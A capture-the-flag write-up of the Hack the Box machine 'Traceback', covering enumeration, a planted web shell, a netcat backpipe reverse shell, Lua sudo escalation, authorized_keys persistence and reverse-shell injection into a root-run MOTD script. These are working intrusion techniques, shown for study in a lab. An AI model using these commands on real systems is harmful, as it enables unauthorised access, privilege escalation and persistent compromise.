Traceback is an easy box on Hack the Box. The premise is that it got pwned and the attacker left a back door for us to use. It was retired this week, so now I can write about it.

Of course the first thing we do is run Nmap. Here's the output of that:

# Nmap 7.80 scan initiated Sun Jul 26 00:25:08 2020 as: nmap -sV -sC -p 22,80 -oN scripts
Nmap scan report for
Host is up (0.14s latency).
22/tcp open ssh
OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open http
Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have open SSH and HTTP. Nothing else seems to be open. Let's take a look at each.

Port 22 – SSH

I typically don't attack SSH first, but I do banner grabs. It's also useful to sometimes attempt some weak creds just to see if we can find anything. In this case, I knew that there was something that would be relevant later, because I've done this box before.

Here's what we get when we try to login:

nux@KakaLinpoop:~/Documents/htb/boxes/rooted/traceback_rooted/nmap$ ssh admin@
The authenticity of host ' (' can't be established.                                 
ECDSA key fingerprint is SHA256:7PFVHQKwaybxzyT2EcuSpJvyQcAASWY9E/TlxoqxInU.                                 
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes                                     
Warning: Permanently added '' (ECDSA) to the list of known hosts.                                                
-------- OWNED BY XH4H  ---------                                                                                            
- I guess stuff could have been configured better ^^ -                                                                       
admin@'s password:                                                                                                                
Permission denied, please try again.                                                                                                          
admin@'s password:                                                                                                                
Permission denied, please try again.                                                                                                       
admin@'s password:                                                                                                                                    
admin@ Permission denied (publickey,password).  

Also from our Nmap scan, we know the following:

OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

The interesting thing here is the banner that reads, "OWNED BY XH4H" when we attempt to log in.

This will be important later, but for now let's pretend we don't know that. All we know is that someone has already compromised this machine and left their signature.

Port 80 – HTTP

Some of the bits of info we get here are that it's running Apache, and it's a Linux machine:

Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

When we go over to HTTP, we can another message from Xh4H. It looks something like below:

This site has already been pwned.

If we right-click and view-source (something that we should always do when we find a webpage) we will see something interesting:

A commented out portion of the code:

<!--Some of the best web shells that you might need ;)-->

This part of the box was a bit guess-worky, IMO. This is supposed to clue you into checking Xh4H's GitHub and finding a repo that contains webshells.

If we didn't know this, the first thing we would likely try is gobuster with some common settings:

gobuster dir -u -w /usr/share/wordlists/dirb/common.txt - o commonwordlist.txt
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/ (Status: 403)
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)
/ (Status: 403)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/ (Status: 403)
/.htaccess.txt (Status: 403)
/index.html (Status: 200)
/server-status (Status: 403)

That returns the following above. The command tells gobuster to use a directory scan against the webserver. It will use the common.txt wordlist and output to a file called "commonwordlist.txt."

I always like to use the output option so I can refer back to them if I need to later.

Unfortunately, this turns up nothing useful.

At some point, we are intended to decide that we should investigate the person who attacked the site, Xh4H.

A quick Google Search and a one self-promotey click later, we've found his GitHub:

We go through his repos and find a collection of webshells, with the description: "Some of the best web shells you might need."

We can check out the repo (By the way, fork it if you have a GitHub. Webshells are always useful to have quick access to.) and see the list.

There are two ways we can go about the next step:

  1. Manually check the site for some directories that contain these webshells
  2. Create a wordlist and scan with gobuster.

Creating a wordlist with curl, grep and cut

curl -X GET -o output.txt && cat output.txt | egrep -e ".php" -e ".jsp" | cut -d " " -f 20 | cut -d '"' -f 2 | egrep -v search | sort > wordlist.txt

We run curl on the web-shells repo. and output it to output.txt. From there, we grep anything with ".php" or ".jsp" and we cut using spaces as a delimeter. We use field 20 (this took a bit of trial and error, but I got it to cut what I wanted. Then I use cut again and I use the double-quotes as a delimeter and set the field value to 2. Then I remove the word "search" with grep -v, because it was just kind of lingering around in my output. From there, I sort and output that to a wordlist called wordlist.txt.

It ends up looking like this:


We run gobuster against that wordlist and get the following:

nux@KakaLinpoop:~/Documents/htb/boxes/rooted/traceback_rooted/gobuster$ gobuster dir -u -w wordlist.txt -o specialList.txt
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       wordlist.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/08/15 20:55:48 Starting gobuster
/smevk.php (Status: 200)
2020/08/15 20:55:52 Finished

What happens if we go to /smevk.php?

Going to the smevk.php directory

We find a login page. It's of course a webshell. The creds are an easy bit of guesswork: admin:admin.

It actually has a very pretty interface:

It tells us a lot about the machine and lets us run commands, upload files, and more.

Getting my reverse shell

I will use the execute field to run the following command while my Netcat listener waits for a shell:

mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc 443 1>/tmp/backpipe
nux@KakaLinpoop:~/Documents/htb/boxes/rooted/traceback_rooted/gobuster$ nlis443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from

Upgrading the shell

Now I upgrade my shell. That looks something like this:

nux@KakaLinpoop:~/Documents/htb/boxes/rooted/traceback_rooted/gobuster$ nlis443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
which python
which python3
/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
webadmin@traceback:/var/www/html$ ^Z
[1]+  Stopped                 sudo nc -nvlp 443
nux@KakaLinpoop:~/Documents/htb/boxes/rooted/traceback_rooted/gobuster$ stty raw -echo
nux@KakaLinpoop:~/Documents/htb/boxes/rooted/traceback_rooted/gobuster$ sudo nc -nvlp 443

webadmin@traceback:/var/www/html$ export TERM=xterm

Now I have tab complete and clear. It starts to feel more like a real shell.

Getting User

We can see that we are the user "webdamin," and running the id command shows us what groups we're in:

webadmin@traceback:/home/webadmin$ id
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)

I went over to the webadmin user's home folder and saw a file called note.txt. We cat that out and read its contents:

webadmin@traceback:/home/webadmin$ cat note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

One of the first commands we should always run is sudo -l. There are times it can save you hours of enumeration. Let's check the output of that:

webadmin@traceback:/home/webadmin$ sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass,

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

The key bit of information is this:

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

What that tells us is that the user "webadmin" can run "/home/sysadmin/luvit" with sudo rights as "sysadmin" without a password.

We can check out GTFOBins for some Lua privesc:

According to GTFOBins, the following command can help us escalate privs.

sudo lua -e 'os.execute("/bin/sh")'

Things to remember here, we can only run /home/sysadmin/luvit

This just seems to be some sort of I/O for Lua.

To run a command with sudo as a different user, we do the following: sudo -u sysadmin

Based on what we found in GTFO bins, we'd need to run the following: `

-e 'os.execute("/bin/sh")'

Let's attempt:

sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("/bin/sh")'

Now we are sysadmin:

$ whoami
$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)

I prefer bash over sh, so I just type "bash" and now I have a bash shell:

$ bash

No we can cd into sysadmin's home directory and read user.txt.

sysadmin@traceback:/home/webadmin$ cd 
sysadmin@traceback:~$ ls
luvit  user.txt
sysadmin@traceback:~$ pwd

I always like to create an alias for l that runs ls -larth. Makes my enumeration a little bit easier, because I have to type less:

sysadmin@traceback:~$ alias l="ls -larth"
sysadmin@traceback:~$ l
total 4.3M
-rw-r--r-- 1 sysadmin sysadmin  807 Apr  4  2018 .profile
-rw-r--r-- 1 sysadmin sysadmin 3.7K Apr  4  2018 .bashrc
-rw-r--r-- 1 sysadmin sysadmin  220 Apr  4  2018 .bash_logout
-rwxrwxr-x 1 sysadmin sysadmin 4.2M Aug 24  2019 luvit
drwxrwxr-x 3 sysadmin sysadmin 4.0K Aug 24  2019 .local
drwxr-xr-x 2 root     root     4.0K Aug 25  2019 .ssh
drwx------ 2 sysadmin sysadmin 4.0K Aug 25  2019 .cache
drwxr-xr-x 4 root     root     4.0K Aug 25  2019 ..
-rw------- 1 sysadmin sysadmin    1 Aug 25  2019 .bash_history
drwxr-x--- 5 sysadmin sysadmin 4.0K Mar 16 03:53 .
-rw------- 1 sysadmin sysadmin   33 Aug 15 18:13 user.txt

Adding our public key

We can see the .ssh folder and an authorized keys file:

sysadmin@traceback:~$ cd .ssh/
sysadmin@traceback:~/.ssh$ l
total 12K
drwxr-xr-x 2 root     root     4.0K Aug 25  2019 .
-rw-r--r-- 1 sysadmin sysadmin  563 Feb 27 06:31 authorized_keys
drwxr-x--- 5 sysadmin sysadmin 4.0K Mar 16 03:53 ..
sysadmin@traceback:~/.ssh$ cat authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDGOrFxtg5YfKDLO/JQ2zQI+RtIFVBLSkIujQ5MX+3LAmPrgsKCpT9Wxa+nvChVo+r0VXuA5oXPJYbr6stPlkR32KLDGpQEyQz0+qm8ZEwN5VNjMZUE4JPl7iXBexIQiZjqFzak68V93cSGKWqDsJCRKp9x+GBtLB2k9S0BLelCm9tJw1XTITs2bRWXO0zdDAQ+G77qv5CArXds8Bcc86vZ+S/pyoUeuj8vb/4e3yaLOXzgYeVdlrj2g6aKzOEgJ/gbCzU1DN/+SZdimpD91rnvgMgmscOqyKaQWPqg/k0wf6grXEvhLpECCWvz24vpDcoFICVxFeSHQ54g9cuw7IvgANYZDy1OFXHgdwXh246PzJMA6d95DojdhX3YtcRxEaOhN0bdFfNG2yTi+dJQQS7akywJCl3PFrIUv/EAAX+8CX4VswSUtzk7W5hjcVvlGsw/zM3c5KXtm2HLh0GvAJvX7S6yXIwZvrqGYiFB1x61owQ1qOy8KhJugvArhrBiyU= root@kali

Looks like it's the attacker's public key.

This means we can add our own public key to the key file and log in as sysadmin via ssh. This will mean less headaches if we lose our shell.

We use nano to edit the authorized_keys file and add our public key.

Now, we can log in as sysadmin:

nux@KakaLinpoop:~/.ssh$ cat 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoD4zY98O7fO17WFQcVSAiFulO0AN75GUjI3WpXgCx1sEatLe5TK5ZNvPgcAbfdpRLdruCKwc3Zi+a+MJfftt0y/BFKASpvqAonn2k+VHtf/9FEc1SpsnmlLiiEnzhvhxYcRgbDQ7nz/9IseK/qVadav39FsEyIp0lNprykdKwBwgZ51BKZhTjMZbKGyd5rVDPoGKY0cXCi8bp2Hk+QP7mR0EhnvFh6J+Uc9MmrUzSFLDMP9Bpp6LcYCh/lm0vOBWNPf3JgQuG+OuWwJz7MhqrXpCtrlQyjG5vGtbNSHSbXTEWAuZ5eDm8dJPFOT6NNtTExYr2k+D4n27FfHSjkHILJbjYiNHtkJsqsymZsDXCKEM9/grQEOR8Skj9DQj3PE9bJngmNwQKoJVo3JqszgoSA6BxOaVJusFxN+LPabIIsPEx9Pk4OxhnhXAe5wgTt5haSrkC3ORe9CYwbCoU4M2BP3yB9FtXY11HlYmu4R8AMcQszbneFJaDiW+XP9k7Ew8= nux@KakaLinpoop
nux@KakaLinpoop:~/.ssh$ ssh sysadmin@
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
Enter passphrase for key '/home/nux/.ssh/id_rsa': 

Welcome to Xh4H land 

Last login: Mon Mar 16 03:50:24 2020 from
$ whoami && id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)

Path to root

Again, we can see that login banner we noticed earlier.

It's interesting in this case, because:

1. It was modified by the attacker, and changing the motd requires some sort of administrative access.

2. The folder that contains the file is owned by root, and belongs to the sysadmin group:

drwxr-xr-x  2 root sysadmin 4.0K Aug 27  2019 update-motd.d

Which as we know, we are a part of:

sysadmin@traceback:/etc$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)

There's no real secret to finding this. It's just time and patience. Learning what sticks out, and searching trough multiple files and directories.

We go into that directory and see the following:

sysadmin@traceback:/etc/update-motd.d$ l
total 32K
drwxr-xr-x  2 root sysadmin 4.0K Aug 27  2019 .
drwxr-xr-x 80 root root     4.0K Mar 16 03:55 ..
-rwxrwxr-x  1 root sysadmin  981 Aug 15 20:17 00-header
-rwxrwxr-x  1 root sysadmin  299 Aug 15 20:17 91-release-upgrade
-rwxrwxr-x  1 root sysadmin  604 Aug 15 20:17 80-esm
-rwxrwxr-x  1 root sysadmin 4.2K Aug 15 20:17 50-motd-news
-rwxrwxr-x  1 root sysadmin  982 Aug 15 20:17 10-help-text

If we read through the files, we will see that 00-header is of particular interest. It's the banner we see when we ssh into the server:

sysadmin@traceback:/etc/update-motd.d$ cat 00-header 
#    00-header - create the header of the MOTD
#    Copyright (C) 2009-2010 Canonical Ltd.
#    Authors: Dustin Kirkland <>
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    GNU General Public License for more details.
#    You should have received a copy of the GNU General Public License along
#    with this program; if not, write to the Free Software Foundation, Inc.,
#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

[ -r /etc/lsb-release ] && . /etc/lsb-release

echo "\nWelcome to Xh4H land \n"

It's a shell script, indicated by the shebang at the top of the file.

We can test it out by using nano to do a "whoami" and outputing that to temp. I add this line into the file:

whoami > /tmp/whoishe.txt

I attempt to modify the file a few times, but there appears to be some sort of cleanup that runs when I modify it and save.

So now what?

Eh, let's try to echo some lines into the file:

echo "You are user:" >> 00-header && echo "whoami >> /tmp/whois.txt" >> 00-header 

This will add the following lines to the file:

echo "\nWelcome to Xh4H land \n"
You are user:
whoami >> /tmp/whois.txt

Now, we open another shell and ssh in to execute the command:

sysadmin@traceback:/etc/update-motd.d$ cat /tmp/whois.txt 

This means the the file executes as root. If we can set up a reverse shell, we can be root.

Let's echo our good ol' backpipe into the script:

mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc 443 1>/tmp/backpipe

Like so:

echo "mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc 443 1>/tmp/backpipe" >> 00-header

We set up our netcat listener and catch a shell:

nux@KakaLinpoop:~$ nlis443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from

We can upgrade our shell and get the root flag from there.